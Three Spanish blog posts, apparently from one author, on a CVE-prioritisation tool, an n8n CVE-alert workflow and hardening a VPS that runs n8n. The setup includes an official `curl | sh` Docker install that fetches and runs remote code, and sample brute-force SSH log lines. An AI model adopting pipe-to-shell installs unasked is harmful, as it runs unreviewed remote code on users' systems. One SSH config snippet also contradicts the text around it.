Lo que tenía en la cabeza desde el principio era una web donde poder consultar un CVE, ver su prioridad real y poder lanzar varios a la vez y compararlos entre ellos, porque en un SOC rara vez llega uno solo. Esas tres cosas (consultar, priorizar y trabajar con varios en conjunto) son las que marcaron el diseño.

Pero según iba leyendo me di cuenta de que el problema de verdad no era automatizar la búsqueda sino la priorización. Y ahí es donde está casi todo el trabajo: conseguir que la herramienta no priorice solo por CVSS, porque el CVSS por sí solo engaña bastante.

Es el complemento del monitor de CVEs en n8n que ya tengo publicado. Aquel filtra el ruido cada mañana y avisa, y este se mete a fondo en un CVE concreto cuando hay que tomar una decisión.

El problema: el CVSS no es una prioridad

El CVSS es una nota del 0 al 10 que mide la gravedad teórica de una vulnerabilidad. Lo que tardé un poco en entender es que esa nota teórica y la urgencia real no son lo mismo. Una vulnerabilidad con CVSS 9.8 puede ser menos urgente que una de 7.5 si la de 7.5 ya se está explotando de forma activa y la otra no tiene ni exploit público.

El ejemplo que más me ayudó a verlo fue PrintNightmare. El CVSS la marca como “Alta”, pero se estaba explotando muchísimo, tenía exploit público y era fácil de aprovechar. En la práctica era una emergencia y no una “Alta” más de la lista. Si priorizas solo por CVSS, una vulnerabilidad así se queda esperando debajo de un montón de “Críticas” teóricas que en ese momento no está atacando nadie.

Ese es el hueco que quería atacar: que la herramienta no me devuelva el número del NVD tal cual, sino una prioridad que tenga en cuenta si la cosa se está explotando de verdad.

Arquitectura del sistema

Antes de meterme con cada módulo, así es como encaja todo.

El recorrido va siempre en el mismo orden y cada paso tiene una sola responsabilidad:

        Usuario
          │  introduce un CVE
          ▼
┌──────────────────────────────┐
│ 1. Ingesta                   │
│    NVD · CISA KEV · EPSS      │
└──────────────┬───────────────┘
               ▼
┌──────────────────────────────┐
│ 2. Motor de scoring          │
│    CVSS · KEV · EPSS          │
│    CWE · inventario           │
└──────────────┬───────────────┘
               ▼
┌──────────────────────────────┐
│ 3. IA generativa             │
│    Groq / Llama 3.3           │
└──────────────┬───────────────┘
               ▼
┌──────────────────────────────┐
│ 4. Salidas                   │
│    resumen · mitigación       │
│    regla Sigma · PDF          │
└──────────────────────────────┘

Lo separé así porque el módulo de scoring es lo único que es realmente mío, y tenerlo aislado me deja probarlo y explicarlo por separado del resto. En código queda repartido en estos ficheros:

La ingesta es la parte más aburrida pero acabó siendo de las que más me enseñó. Tiene timeouts separados, cabeceras User-Agent y un manejo aparte de los errores 503 del NVD, que salen bastante y vienen del lado del servidor y no del mío. Esto lo aprendí a base de fallos, ya que las primeras veces un mal día del NVD me tiraba la app entera, hasta que separé la excepción de Timeout para que solo se cayera ese dato y no todo lo demás.

Elegí Streamlit en vez de montar un FastAPI con React porque el valor del proyecto está en el scoring y en el análisis, no en el frontend. Streamlit me da una interfaz usable con mucho menos código. Si esto fuera un producto para miles de usuarios a la vez seguramente elegiría otra cosa, pero para una herramienta interna de SOC me pareció lo correcto.

El motor de scoring

Aquí está lo que de verdad sostiene el proyecto y la parte que más me costó pensar. El scoring parte del CVSS como base y le suma o resta puntos según señales que el CVSS no mira: si está en el catálogo KEV de CISA (explotación activa confirmada), su EPSS (la probabilidad estadística de que se explote), si es reciente (menos tiempo para que la gente haya parcheado), el tipo de fallo según el CWE, el vector de ataque, si hace falta autenticación o que el usuario haga algo, y si coincide con el inventario del entorno.

Hay dos decisiones aquí que me dieron bastantes vueltas.

La primera decisión fue separar el score interno del score mostrado. El score interno acumula todos los factores sin límite, mientras que el score mostrado se limita a una escala de 0 a 100. Lo hice así porque ambos cumplen funciones distintas.

El score mostrado sirve para priorizar rápidamente. Un analista no necesita distinguir visualmente entre 137 y 182 puntos; ambos casos ya representan una situación extremadamente prioritaria. Sin embargo, conservar el score interno me permite mantener toda la información original y entender exactamente por qué una vulnerabilidad alcanzó esa prioridad.

Por ejemplo, dos CVEs pueden aparecer como 100/100 en la interfaz y seguir siendo diferentes internamente. Uno puede haber llegado a 105 puntos y otro a 213. Para el analista ambos son críticos y requieren atención inmediata, pero el score interno sigue reflejando cuál acumula más señales de riesgo.

La segunda decisión fue limitar el resultado en 100 en lugar de normalizarlo. Inicialmente valoré calcular una puntuación relativa sobre un máximo teórico, pero ese enfoque tiene un problema práctico: cada vez que se añade o modifica un factor de scoring, cambia también el máximo posible y los resultados históricos dejan de ser comparables.

Al limitar la puntuación a 100, la escala permanece estable con el paso del tiempo. Puedo ajustar el modelo, incorporar nuevas señales o modificar pesos sin alterar el significado de las puntuaciones ya generadas. Es una solución menos elegante desde un punto de vista matemático, pero bastante más útil para una herramienta que pretende utilizarse de forma continuada.

Lo interesante no es el CVSS de 8.8, sino todo lo que aparece alrededor. La vulnerabilidad está siendo explotada activamente, tiene un EPSS superior al 94%, permite ejecución remota de código y afecta a sistemas presentes en el inventario. El score final intenta condensar toda esa información en una única prioridad que ayude a decidir qué revisar primero..

Del CVE al resultado final

Una cosa que intenté cuidar durante todo el desarrollo fue el orden de los pasos. Cuando el analista mete un CVE, la aplicación no le pregunta directamente a la IA. Primero obtiene los datos reales de las fuentes externas, después calcula la prioridad con el motor de scoring, y solo cuando ya hay una valoración objetiva entra la IA a interpretar.

Lo hice así a propósito porque *no quería que el modelo tomara decisiones que en realidad le tocan a la lógica del sistema. La prioridad la decide el scoring con datos, no el texto que genera un LLM. Cuando ya está todo calculado la IA solo le pone palabras y el resultado final sirve igual para un responsable de seguridad que para un analista de SOC.

Una ventaja de montarlo así es que puedo revisar cada etapa por separado. Si el score sale mal, miro solo el motor de scoring sin tocar la IA. Y si la explicación es floja, ajusto el prompt sin tocar la lógica de prioridad.

Intenté que las responsabilidades no se mezclaran entre módulos. Cuanto más avanzaba, más claro tenía que para que esto se pudiera mantener cada parte tenía que hacer una sola cosa y tirar de una sola fuente de datos.

La IA interpreta, no inventa

Esto lo tenía claro desde el principio y es que el LLM no es una fuente de datos, este recibe los datos reales que ya tengo del NVD, CISA y EPSS, más el score ya calculado, y solo se encarga de redactar: el resumen ejecutivo para quien decide, el análisis técnico para el analista y el plan de mitigación.

Para que no se descontrolara tomé unas cuantas decisiones concretas:

-No quiero creatividad, quiero que reescriba los datos inventándose lo menos posible.

-Detección de alucinaciones. El módulo compara lo que genera el modelo con los datos reales y avisa si se inventa algo que no estaba en la entrada.

-Proveedor de IA intercambiable. Uso Groq con Llama 3.3 70b por la capa gratuita, pero todo pasa por una variable IA_PROVIDER, así que cambiar a Gemini o a OpenAI es cuestión de un momento. No quería atarme a un proveedor por algo que es solo operativo.

El precio de esto es que dependo de los límites diarios de tokens de Groq, que llegué a tocar haciendo pruebas. Es un cambio que asumo: gratis a cambio de un techo de uso.

Una cosa que no esperaba: el agujero de la NVD

Esta parte no estaba en el plan y seguramente es la que más he aprendido. El módulo de inventario tenía que ser de lo más simple. El analista registra su stack, por ejemplo wordpress en servidor 1 y cuando llega un CVE comparo el producto afectado con esa lista. Si coincide sube prioridad, y si no, baja.

El problema saltó en cuanto empecé a probarlo con CVEs reales. El producto afectado lo saco del CPE, que es el identificador del producto, y resulta que en la mayoría de CVEs nuevos ese campo viene vacío. Al principio pensé que era un fallo mío pero no lo era. Desde febrero de 2024 el NIST dejó de enriquecer con CPE la mayoría de vulnerabilidades, y en 2026 lo ha pasado a un modelo “basado en riesgo” donde solo los CVEs que están en KEV, en software federal o en software crítico reciben el enriquecimiento completo. El resto, que es casi todo, se queda sin CPE.

Lo comprobé con casos reales para asegurarme. Un CVE de un plugin de WordPress recién publicado venía con el producto afectado vacío. Uno del kernel de Linux igual, de hecho la propia NVD lo marca como “Awaiting Enrichment”. Y en cambio uno de SolarWinds que sí entró en KEV tenía el CPE completo el mismo día. Entonces lo que decide no es lo nuevo o viejo que sea, sino quién lo enriquece y por qué vía.

Esto me rompía el módulo pero lo interesante fue tener que decidir qué hacer con ello. Lo fácil era restar puntos por “no detectado en inventario” y me di cuenta de que eso está mal. Que no haya CPE no significa que no esté en tu entorno, solo significa que el NVD no llegó a etiquetarlo. Si penalizas por eso estás castigando justo a los CVEs más nuevos que suelen ser los más urgentes. Así que cuando no hay CPE el factor se queda neutro y marca “inventario no verificable” en vez de decirte un “no te afecta” que sería mentira.

Introduciendo contexto: el inventario

Aquí apareció otra limitación interesante. Incluso cuando existe información suficiente para identificar el producto afectado, eso no significa automáticamente que la vulnerabilidad sea relevante para tu entorno.

Un CVE que afecta a WordPress puede ser prioritario para una organización que gestiona decenas de sitios, pero prácticamente irrelevante para otra cuya infraestructura se basa en Linux, Docker y Nginx. La vulnerabilidad es la misma, pero el contexto cambia completamente la urgencia con la que debería revisarse.

Por eso añadí un inventario sencillo donde el analista puede registrar tecnologías presentes en su entorno. Cuando una vulnerabilidad afecta a alguno de esos activos, el motor de scoring le da más peso. No sustituye el análisis humano ni pretende ser un sistema completo de gestión de activos, pero añade una capa de contexto que ayuda a diferenciar vulnerabilidades teóricas de las que tienen una probabilidad real de afectar al entorno.

Durante las pruebas resultó especialmente útil en ecosistemas con gran cantidad de componentes y extensiones, como WordPress. Sin una referencia del entorno, muchas vulnerabilidades terminan compitiendo en igualdad de condiciones. Con el inventario, la priorización deja de depender únicamente de métricas globales y empieza a tener en cuenta qué tecnologías están realmente presentes.

Detección: reglas Sigma con trazabilidad

La última salida es una regla de detección en formato Sigma para cargar en un SIEM. Lo importante no es generarla sino de dónde sale. El sistema mira primero si ya existe una regla validada en SigmaHQ para ese CVE. Si existe la usa de base y si no la genera marcándola como borrador pendiente de revisión. Cada regla deja claro su origen.

Esto responde de antemano a la duda de “las reglas de IA pueden ser basura”. Si viene de SigmaHQ está validada por la comunidad y si la genera el modelo se etiqueta como tal. La trazabilidad es lo que la hace defendible.

Todo lo anterior se puede exportar a un PDF para pasárselo al equipo sin tener que abrir la herramienta, que al final es como se mueve un informe en un SOC.

Buscar y priorizar en conjunto

La idea inicial nunca fue analizar un único CVE. De hecho, esa es probablemente la situación menos habitual.

Cuando aparece una nueva campaña de explotación o se publica una tanda de vulnerabilidades relevantes, lo normal es terminar revisando varias a la vez. Ahí es donde empecé a notar que consultar CVEs de forma individual no resolvía realmente el problema. Lo importante no era saber más sobre una vulnerabilidad concreta, sino decidir cuál merecía atención primero.

Por eso añadí la posibilidad de analizar varios CVEs en lote. La herramienta procesa cada uno de forma independiente, obtiene contexto de las distintas fuentes y genera una tabla comparativa con las puntuaciones finales. El objetivo no es sustituir el criterio del analista sino ofrecer una referencia rápida para identificar qué vulnerabilidades destacan por probabilidad de explotación, exposición o relevancia para el entorno.

Cuando todavía no conoces el CVE

No siempre se parte de un identificador concreto. Muchas veces la información inicial llega como una noticia, un aviso de seguridad o una referencia genérica a una vulnerabilidad en un producto determinado.

Por eso añadí una búsqueda por descripción que permite localizar CVEs relacionados a partir de palabras clave. No es una función especialmente compleja, pero evita tener que saltar continuamente entre distintas fuentes hasta encontrar el identificador correcto.

En la práctica termina siendo útil cuando aparece una vulnerabilidad nueva y todavía no se conoce el CVE exacto, o cuando simplemente se quiere explorar qué vulnerabilidades existen para una tecnología concreta.

Mantener el contexto entre sesiones

Otra pequeña mejora que acabó resultando más útil de lo que esperaba fue el historial de análisis.

Cuando se revisan varias vulnerabilidades durante una misma sesión es habitual volver atrás para comparar resultados o recuperar información ya analizada. Para evitar repetir consultas, la aplicación conserva el historial y permite exportarlo o importarlo en formato JSON.

No cambia el análisis de una vulnerabilidad, pero sí mejora bastante la experiencia cuando se trabaja con conjuntos grandes de CVEs o se quiere continuar el trabajo más adelante.

Lo que aprendí construyéndolo

El objetivo era hacer un sistema de análisis de vulnerabilidades, pero buena parte de lo que aprendí vino de cosas que no salían sobre el papel.

Lo primero fue ver hasta qué punto la calidad de los datos condiciona cualquier intento de priorizar. El inventario parecía la funcionalidad más sencilla del proyecto y resultó ser la que más me obligó a replantear, solo por la cantidad de CVEs que llegan sin CPE.

Lo segundo fue comprobar con casos reales que un CVSS alto no siempre va con la urgencia real. En cuanto metía la explotación activa o la existencia de exploit público, el orden de prioridad cambiaba por completo respecto al número del NVD.

Lo tercero fue separar la lógica del sistema de la IA. Cuanto más avanzaba, más claro tenía que el modelo tiene que interpretar la información, no producirla. Mantener esa separación me simplificó las pruebas y me quitó de encima un montón de respuestas raras e inconsistentes.

Y al final la conclusión que más me sirvió fue que lo difícil no era conseguir información de un CVE, eso lo dan las APIs. Lo difícil era convertir esa información en una decisión operativa razonable.

Lo que aún me falta

Prefiero dejarlo claro porque sé lo que todavía no está cerrado:

• Dependo demasiado del NVD. Toda la ingesta cuelga de una API que puede tener días malos (503) y un enriquecimiento cada vez más incompleto. De momento lo aguanto con timeouts y degradando dato a dato, pero el siguiente paso serían fuentes que rellenen el hueco del CPE.
• Los límites de tokens. El plan gratuito de Groq tiene techo, así que para un uso intensivo habría que pasar a un proveedor de pago o cachear más.
• El historial se pierde en cada sesion, falta por conectar una base de datos para almacenar las consultas.

Conclusión

Lo que me llevo de este proyecto no es la interfaz ni la parte de IA sino haber entendido que priorizar bien una vulnerabilidad es un problema de contexto y no de un número. El CVSS te dice cómo de grave es en teoría pero lo que un SOC necesita es saber qué mirar primero y eso depende de si se está explotando, de si hay exploit, de cómo de nueva es y de si toca tu entorno. VulnSOC Assistant es mi intento de meter todo ese contexto en una sola decisión y de que cuando falte un dato el sistema lo reconozca en vez de inventárselo.

El problema

Cada día se publican cientos de CVEs nuevas en NVD. Si alguien intenta revisarlas una por una se daría cuenta de que la mayoría de esas CVEs no tienen nada que ver con su entorno, como por ejemplo plugins de WordPress que no utiliza, dispositivos IoT que nunca ha visto o productos que ni siquiera forman parte de su infraestructura.

Al final de todas las vulnerabilidades publicadas solo unas pocas CVEs suelen afectar a tecnologías que tiene desplegadas. El problema no es encontrar vulnerabilidades. El problema es el tiempo que se pierde revisando y descartando cientos de CVEs hasta dar con las pocas que realmente afectan a los sistemas que utilizamos.

Objetivo

El objetivo de esta automatización era recibir cada mañana un mensaje en Telegram con únicamente las vulnerabilidades nuevas que afectan a las tecnologías que utilizo donde ya estén priorizadas según su probabilidad real de explotación y no solo por su puntuación CVSS.

También quería que el sistema enviara una notificación cuando no hubiera nada relevante, así De esa forma tendría la confirmación de que el flujo se había ejecutado correctamente y de que no había vulnerabilidades nuevas para las tecnologías monitorizadas.

Diseño del flujo

Lo que más me costó no fue la configuración de los nodos sino el orden en que ponerlos.

Lo primero que se me ocurrió fue obtener todas las CVEs publicadas durante el día y dejar que un LLM decidiera cuáles eran relevantes para las tecnologías que monitorizo. Esto provoca unas 200 llamadas al día a una API de pago para que el modelo me diga “esto no va contigo” 197 veces, por lo que esta opción es cara y lenta. Y además dependía de que el modelo interpretara correctamente las tecnologías monitorizadas.

Así que le di la vuelta. En vez de analizarlo todo lo que hace el flujo es comparar cada CVE contra mi lista de tecnologías y lo que no toca ninguna se descarta ahí mismo. Las pocas que sobreviven al filtro son las que pasan a consultarse contra EPSS y KEV para priorizarlas. Así el proceso más costoso solo se ejecuta sobre las CVEs relevantes y no sobre cientos de vulnerabilidades que nunca van a afectar al entorno monitorizado.

El primer filtro es la watchlist, que es una lista que mantengo yo a mano con las tecnologías que tengo desplegadas como docker, nginx, postgresql, openssh, wazuh, proxmox, grafana, caddy, nextcloud… Si una CVE no afecta a ninguna de esas va fuera, da igual que sea un 10 de CVSS. Si no lo tengo montado no es mi problema. Solo con este paso se va la inmensa mayoría del ruido.

Aquí viene la parte que más vueltas me hizo dar y es la de cómo decidir si una CVE afecta a una tecnología mía. Lo fácil es buscar la palabra en la descripción pero eso da falsos positivos. Me pasó que una herramienta llamada Roxy-WI que sirve para gestionar nginx y Apache me generó doce alertas marcadas como “nginx” solo porque su descripción los menciona y yo Roxy-WI no lo uso para nada.

La solución fue tirar del CPE que es el identificador oficial del producto que NVD le asigna a cada CVE (vendor:producto, por ejemplo nginx:nginx). Si el CPE dice roxy-wi:roxy-wi no es nginx por mucho que el texto lo nombre. Es preciso porque va contra un dato estructurado, no contra texto suelto.

El problema es que las CVEs recién publicadas todavía no tienen CPE. NVD tarda horas o días en analizarlas y esas primeras horas son las que más me interesan. Así que monté dos rutas dentro del mismo nodo: si la CVE ya está analizada y tiene CPE comparo contra cpeTerms que es lo preciso. Si todavía está sin analizar me voy a la descripción y comparo contra descTerms pero solo con términos que son lo bastante únicos como para no generar ruido. Cosas genéricas como nginx o apache no las meto en esa lista, porque en descripción generarían el mismo ruido.

Con la CVE ya filtrada entra la parte de priorizar y aquí es donde sumo EPSS y KEV. El CVSS por sí solo no me vale porque mide lo grave que podría ser no si la están explotando de verdad. EPSS me da la probabilidad de que se explote en los próximos 30 días, y KEV (el catálogo de CISA) me dice si ya se está explotando ahí fuera. Una cosa es “esto podría ser peligroso” y otra muy distinta “esto lo están usando ahora mismo”.

El criterio de entrada final lo dejé así:

Entra si: CVSS >= 7 O EPSS >= 50% O está en KEV

La idea es que una vulnerabilidad no quede fuera únicamente por tener un CVSS moderado. Si existen evidencias de explotación activa o una probabilidad muy alta de explotación, sigue mereciendo atención. Lo monté de esta manera a propósito porque quería que algo con un CVSS no tan alto pero con un EPSS por las nubes ,es decir, que se está explotando aunque no parezca gran cosa, esto es importante para que no se me escapara solo por la nota que le da NVD.

Y hay un detalle de orden que me costó ver y es que el EPSS y KEV se consultan después del filtro de watchlist. Al principio lo tenía mal porque descartaba por CVSS bajo antes de mirar el EPSS y claro, una CVE de CVSS 6 con EPSS del 99% se me caía sin que el sistema llegara a enterarse de que la estaban explotando. En cuanto me di cuenta reordené: primero miro si me afecta, luego saco todos los datos, y solo entonces decido. Parece una tontería pero es lo que más mejoró el criterio del sistema entero.

Cómo funciona

El sistema hace cada mañana el mismo proceso que realizaría manualmente un administrador de sistemas o un analista de seguridad. que es mirar las vulnerabilidades nuevas, se queda solo con las que afectan a algo que tengo montado, comprueba cuáles son peligrosas de verdad y me avisa por Telegram. Todo lo demás lo tira por el camino.

Paso a paso el flujo es este:

Cron 08:00
   ↓
Watchlist (define cpeTerms / descTerms)
   ↓
NVD - Last 24h (GET a la API de NVD)
   ↓
Split Out CVEs
   ↓
Filter by Watchlist (CPE o descripción)
   ↓
¿Hay coincidencias?
   ├─ No → Telegram: "Sin vulnerabilidades nuevas en el watchlist hoy"
   └─ Sí → EPSS (cruce con first.org)
            ↓
         Aggregate + Priority (KEV + CVSS + EPSS → prioridad)
            ↓
         Build Messages (resumen + 1 mensaje por CVE)
            ↓
         Telegram

Cada caja del diagrama es un nodo de n8n. Un temporizador lo arranca a las 8:00, pide a NVD las vulnerabilidades del último día, las separa una a una y las pasa por el filtro de la watchlist. Si no queda ninguna que me afecte, me llega un aviso de que hoy no hay nada y ahí termina. Si queda alguna consulta su probabilidad de explotación en EPSS, la cruza con el catálogo de CISA, le pone una prioridad y construye el mensaje que acaba en Telegram.

El nodo que más trabajo tiene es el de Aggregate + Priority . Es el que descarga la lista KEV de CISA una vez por ejecución, cruza cada CVE con su score de EPSS, aplica el criterio de entrada y le asigna una prioridad (KEV - EXPLOTADA, CRITICA, ALTA, MEDIA) con su emoji. También lleva un tope de 30 alertas por ejecución como medida de seguridad, para que un día con una avalancha de CVEs no me reviente el canal con 40 mensajes.

Prueba de funcionamiento

Lo probé en los dos casos que me iba a encontrar de verdad: el día que sale algo y el día que no sale nada. Para el primer escenario tuve que forzar una coincidencia, ya que como justo no había ninguna CVE de mi stack ese día metí wordpress en la watchlist a propósito para forzar que saltara algo y ver el flujo entero funcionando.

El sistema generó el siguiente mensaje:

La CVE era la CVE-2026-9848 que es una inyección SQL en un plugin de WordPress. El sistema la marcó como ALTA y me gustó ver que lo hizo bien ya que tiene un CVSS de 7.5 así que entra por severidad, pero como el EPSS está a 0 y no aparece en KEV, no la sube a crítica. Que es exactamente lo que quería. La alerta me llega con todo lo que necesito para decidir de un vistazo si me pongo con ello o no: el CVSS, el EPSS, si está en KEV, la prioridad, un resumen de qué es y el enlace a NVD por si quiero leer más.

El otro caso es el más habitual, el del día en que no hay nada mío afectado. Aquí podría no mandar nada, pero preferí que avise igualmente:

Esta decisión es importante y necesaria, ya que si el sistema se queda callado no sabría si es porque no había nada o porque se había caído el flujo y no me he enterado, por ello prefiero que me diga “hoy nada” y así sé que ha corrido y que de verdad no había nada que me afectara.

Limitaciones

El flujo depende de tres fuentes externas: NVD, EPSS y el feed de KEV de CISA. Si NVD no responde un día, no hay ejecución y punto.

Luego las CVEs recién publicadas suelen tardar horas o incluso días en recibir un CPE por parte de NVD, así que si quiero detectarlas desde el primer momento no me queda otra que buscarlas también por descripción.

El problema es que buscar por descripción genera más ruido y puede dar lugar a algún falso positivo. Aun así prefiero asumir ese ruido adicional antes que dejar pasar una vulnerabilidad importante durante sus primeras horas de vida. Para mí es mejor revisar una alerta de más que no enterarme de algo que realmente afecta a las tecnologías monitorizadas.

La watchlist también es manual, esto significa que el sistema no descubre automáticamente nuevas tecnologías incorporadas al entorno. Si monto una tecnología nueva y se me olvida añadirla a la lista, sus CVEs pasarán desapercibidas aunque sean críticas. El filtro es tan bueno como la lista que yo mantenga al día.

Y por último como mencioné anteriormente el matching por descripción puede dar algún falso positivo ya que un término como “caddy” puede aparecer en una descripción por casualidad y no porque la CVE afecte de verdad al servidor. De momento no me ha pasado, pero es el precio de no depender solo del CPE para las CVEs que aún no lo tienen.

Conclusión

Al final el problema nunca fue encontrar vulnerabilidades, sino encontrar las relevantes entre las cientos que se publican cada día. Hacerlo a mano significaba revisar decenas o cientos de CVEs cada mañana para acabar quedándome con ninguna la mayoría de las veces, invirtiendo tiempo todos los días para no perder algo importante cuando realmente apareciera.

Ahora ese trabajo se realiza automáticamente. Primero filtra por las tecnologías monitorizadas, después consulta EPSS y KEV y finalmente decide si una vulnerabilidad merece una alerta. La mayoría de días no recibo nada, y eso ya me vale como respuesta. Y cuando llega algo, llega con el contexto suficiente para saber qué es, a qué afecta y si requiere atención inmediata o puede esperar.

En una ejecución normal el flujo suele reducir varios cientos de CVEs publicadas durante las últimas 24 horas a entre 0 y 3 alertas relevantes.

No he montado esto para recibir más alertas. Lo he montado justo para lo contrario: para recibir muchas menos, pero que cuando suene el móvil sea por algo que realmente merece la pena mirar.

Así que compré un VPS barato, monté n8n y ya que tocaba exponer a Internet un servicio que guarda credenciales y habla con APIs externas lo securicé en cada capa que podía tocar.

Esto no es un tutorial de n8n, es el razonamiento detrás de cada decisión que tomé, qué riesgo cubría cada una y dónde están los límites de lo que monté.

Por qué no dejarlo simplemente público

Al principio pensé en levantarlo con HTTPS pero cuanto más miraba la superficie del panel menos sentido tenía ya que n8n guarda credenciales de servicios, tokens de API y la lógica de tus automatizaciones. Cualquiera con la URL podía ver el login.

Y el login ya es información porque confirma que ahí hay un n8n, qué versión corre, que tienes algo que merece la pena mirar.

La conclusión fue que el panel no tenía por qué ser visible para nadie que no fuera yo. A partir de ahí, todo lo demás son capas para sostener esa idea.

La lógica de las capas

No quería confiar en una sola medida, la idea es que si una falla la siguiente contiene el daño. En este despliegue el tráfico pasa por cinco filtros antes de llegar al panel:

1. Firewall perimetral del proveedor:, bloquea el tráfico antes de que llegue al servidor.
2. SSH endurecido, sin root, sin contraseñas, solo clave ed25519.
3. Red interna Docker, los servicios aislados, sin puertos expuestos al exterior.
4. Reverse proxy con IP allowlist, el panel invisible para cualquier IP que no sea la mía.
5. Secretos fuera de ficheros de configuración, credenciales en Docker secrets, nunca en texto plano.

Ninguno es complicado por separado, lo que importa es que estén todos, que entienda qué hace cada uno y que no queden huecos entre ellos.

El servidor

Elegí un Hetzner CX22: 2 vCPU, 4 GB de RAM y unos 10€/mes con IVA. Para un n8n de uso personal es más que suficiente ya que n8n en reposo consume poco y Postgres con una base de datos pequeña tampoco exige mucho. El margen es amplio y si en algún momento necesito más Hetzner me permite escalar el plan sin reconstruir nada.

La ubicación la puse en Nuremberg ya que desde España la latencia es baja y me interesaba que fuera infraestructura europea.

Para el sistema operativo fui con Ubuntu 24.04 LTS ya que tiene soporte hasta 2029 y ofrece un equilibrio razonable entre estabilidad, mantenimiento y disponibilidad de paquetes. La idea era montar una infraestructura que pudiera mantenerse durante años con el menor número posible de cambios importantes y espor eso que una versión LTS tenía bastante sentido

SSH: lo primero que tocan

Cuando se expone un servidor a Internet los intentos de acceso por SSH empiezan en cuestión de minutos, cuando ví los logs había IPs probando antes de comenzar a configurar el servidor:

May 10 03:14:22 sshd[1837]: Invalid user admin from 218.92.0.113
May 10 03:14:25 sshd[1839]: Invalid user root from 218.92.0.113
May 10 03:14:31 sshd[1841]: Invalid user ubuntu from 185.224.128.39
May 10 03:15:03 sshd[1844]: Invalid user postgres from 45.142.212.100

Lo que se ve ahí es exactamente lo que esperaba ver: bots rastreando rangos de IP y probando usuarios comunes como admin, root, ubuntu, postgres , esto no es un ataque dirigido solo eses ruido automatizado constante.

El primer cambio que hice elimina los dos vectores más probados que son el login como root y autenticación por contraseña.

# /etc/ssh/sshd_config
PermitRootLogin no
PasswordAuthentication no

Root es el objetivo porque existe en todos los Linux y tiene permisos totales, si entran el servidor es suyo sin necesidad de escalar nada.

Autenticación por clave ed25519

La autenticación por contraseña no me convencía ya que por muy larga que sea puede probarse por fuerza bruta de forma remota. Con autenticación por clave eso desaparece ya que la clave privada nunca sale de tu máquina y el servidor solo verifica una firma criptográfica. No hay secreto que interceptar ni que adivinar a distancia y eso por eso que preferí usar clave.

Para el algoritmo elegí ed25519 en lugar de RSA porque genera claves más cortas con el mismo nivel de seguridad, es más rápido en verificación y es el estándar actual. RSA sigue funcionando pero no le vi sentido a desplegar claves RSA nuevas salvo que necesitara compatibilidad con algo antiguo, y no era el caso.

ssh-keygen -t ed25519 -C "hetzner-n8n" -f ~/.ssh/id_ed25519_hetzner

La passphrase la añadí como segunda capa ya que si alguien se hace con el fichero de clave privada sin ella no le sirve de nada. El comando genera dos ficheros: la clave privada que se queda en mi máquina y la pública .pub que va al servidor.

Para pasarla al servidor creé un usuario no root para evitar trabajar directamente con la cuenta root , después le concedí privilegios administrativos mediante sudo para poder realizar tareas de administración, copié la clave pública a su carpeta .ssh y ajusté los permisos SSH de manera estricta para que otros usuarios no puedan leerlo:

adduser n8nadmin
usermod -aG sudo n8nadmin
mkdir -p /home/n8nadmin/.ssh
cp /root/.ssh/authorized_keys /home/n8nadmin/.ssh/
chown -R n8nadmin:n8nadmin /home/n8nadmin/.ssh
chmod 700 /home/n8nadmin/.ssh
chmod 600 /home/n8nadmin/.ssh/authorized_keys

Con el usuario listo y la clave en su sitio, deshabité root y contraseña:

# /etc/ssh/sshd_config
PermitRootLogin no
PasswordAuthentication no

El detalle que me costó un rato: en Ubuntu 24.04 hay un segundo fichero que pisa la configuración principal.

# /etc/ssh/sshd_config.d/50-cloud-init.conf
PasswordAuthentication no

Si solo tocas sshd_config y dejas sshd_config.d/50-cloud-init.conf intacto la autenticación por contraseña sigue activa. Esto lo descubrí porque el cambio no surtía efecto y tuve que rastrear por qué. No es obvio si no sabes que ese fichero está ahí y es justo el tipo de cosa que crees haber cerrado y sigue abierta.

Fail2ban: bajar el ruido, no cerrar la puerta

Con autenticación por clave el vector de fuerza bruta ya está muerto porque los bots o cualquier atacante no van a entrar probando contraseñas pero siguen intentándolo provocando que se generen escrituras en disco, consuma recursos y ensucie los logs con ruido. Es por ello que decidí implementar fail2ban para banear las IPs que intentasen entrar varias veces.

[sshd]
maxretry = 3
findtime = 600
bantime = 604800

Con esta configuración tres intentos fallidos en diez minutos provoca un ban de una semana. Un usuario legítimo no falla tres veces en diez segundos pero un bot agresivo sí. El bantime lo dejé en una semana a propósito porque un valor enorme complica recuperarte si algún día te baneas a ti mismo por error que también puede pasar pero no debería.

Firewall perimetral: filtrar antes de que llegue

La diferencia entre un firewall dentro del servidor como iptables o UFW y uno externo como el del proveedor es dónde actúa. Con iptables el paquete ya llegó a la máquina y se rechaza ahí pero con el firewall del proveedor ni siquiera alcanza el servidor.

Eso tiene un efecto secundario que me interesaba ya que actúa como red de seguridad ante posibles errores debido a que si en algún momento un servicio queda escuchando en un puerto que no debería el firewall externo lo tapa igual independientemente de lo que pase dentro del VPS.

Las reglas de entrada son tres: TCP 22 para SSH, TCP 80 para la renovación de certificados y TCP 443 para el acceso HTTPS. Todo lo demás bloqueado por defecto.

El 80 lo necesito aunque solo acceda por HTTPS ya que el Caddy lo usa para renovar el certificado con Let’s Encrypt. Sin él, los certificados dejan de renovarse.

El tráfico saliente lo dejé completamente abierto porque n8n necesita salir a APIs externas y Caddy a Let’s Encrypt.

Docker: los servicios no se hablan por defecto

Para instalar Docker usé el script oficial que detecta la distribución automáticamente:

curl -fsSL https://get.docker.com | sh
sudo usermod -aG docker n8nadmin

El usuario n8nadmin lo añadí al grupo Docker para poder trabajar con Docker Compose sin utilizar sudo en cada operación. No deja de ser una decisión basada en confianza ya que quien controla Docker tiene un nivel de acceso muy elevado en el sistema. En este caso al tratarse de un servidor administrado únicamente por mí preferí priorizar la operatividad.

n8n, Postgres y Caddy viven en una red interna de Docker. Postgres no publica ningún puerto y a la base de datos no se llega desde fuera del stack, solo n8n habla con ella por nombre de servicio interno. El 5678 de n8n tampoco está expuesto. Desde fuera ese puerto no existe.

Solo Caddy ve el exterior. Todo lo demás está detrás.

Secretos fuera de las variables de entorno

Si las credenciales van en el compose.yaml como variables de entorno puede ocurrir que ese fichero acaba donde no debe: en Git, en un log, en una captura que compartes sin pensar. Con Docker secrets las credenciales viven en ficheros con permisos restringidos y dentro del contenedor aparecen en /run/secrets/ , nunca en las variables de entorno que cualquier proceso del contenedor puede leer.

mkdir -p ~/n8n/secrets
openssl rand -base64 32 > ~/n8n/secrets/pg_password.txt
openssl rand -base64 32 > ~/n8n/secrets/n8n_encryption_key.txt
chmod 600 ~/n8n/secrets/*.txt

